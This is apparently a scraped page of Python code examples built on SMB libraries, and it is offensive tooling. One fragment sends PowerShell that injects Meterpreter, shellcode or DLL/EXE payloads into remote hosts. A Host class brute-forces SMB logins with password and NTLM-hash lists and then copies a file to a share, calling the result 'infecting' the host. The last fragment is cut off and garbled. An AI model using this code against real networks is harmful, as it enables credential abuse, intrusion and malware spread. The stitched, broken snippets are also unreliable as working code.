                         powah_command.powerview(settings.args.powerview), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, 
                             powah_command.inject_meterpreter(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_shellcode(), 
                             host, 
                             domain, 
                             True,
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_exe_dll(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 18
0
class Host(object):
    def __init__(self, ip, scanner):
        self.ip = ip
        self.data = scanner[ip]
        self.is_up = self.data.state() == 'up'
        self.open_ports = [
            x for x in self.data['tcp'].keys()
            if self.data['tcp'][x]['state'] == 'open'
        ]

        self.domain = ''
        self.name = ''
        self.os = ''

        self.ex = None
        self.smb = None
        self.shares = None
        self.infected = None

    def __str__(self):
        return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format(
            self.ip,
            ', domain: {0}'.format(self.domain) if self.domain else '',
            ', name: {0}'.format(self.name) if self.name else '',
            ', os: {0}'.format(self.os) if self.os else '',
            'up' if self.is_up else 'down',
            ', result: {0}'.format(self.ex) if self.ex else
            ', result: {0}'.format('Infected') if self.infected else '')

    @property
    def chosen_port(self):
        for p in SMB_PORTS:
            if p in self.open_ports:
                return p
        raise Exception('No port can be used to infect this host')

    @property
    def is_connected(self):
        return self.smb is not None

    def connect(self, password_generator):
        try:
            self.smb = SMBConnection('*SMBSERVER',
                                     self.ip,
                                     sess_port=int(self.chosen_port))
            self.smb.login('', '')
            self.domain = self.smb.getServerDomain()
            self.name = self.smb.getServerName()
            self.os = self.smb.getServerOS()

            for username, password, lmhash, nthash in password_generator:
                try:
                    self.smb.login(username,
                                   password,
                                   lmhash=lmhash,
                                   nthash=nthash)
                    self.shares = self.smb.listShares()
                    self.ex = None
                    break
                except SessionError as ex:
                    self.ex = ex
        except SessionError as ex:
            self.ex = ex

    def infect(self, password_generator, share, source, destination):
        try:
            if not path.isfile(source):
                raise Exception(
                    'Source file {0} does not exist.'.format(source))

            if not self.is_connected:
                self.connect(password_generator)

            if self.ex:
                return

            with open(source, 'rb') as f:
                self.smb.putFile(share, destination, f.read)
                self.ex = None
                self.infected = True
        except SessionError as ex:
            self.ex = ex
Ejemplo n.º 19
0
        password = getpass("Password:"******"\t[*] " + NOCOLOR, end='')
        print(osVersion + " " + os_arch + " (name:" + hostname + ") (domain:" +
              domain + ")")

        if userName:
            if options.A is None:
                """
                print_info()
                if not domain:
                    print(LIGHTGREEN+"\t[+] "+NOCOLOR+hostname+"/"+userName+":"+password)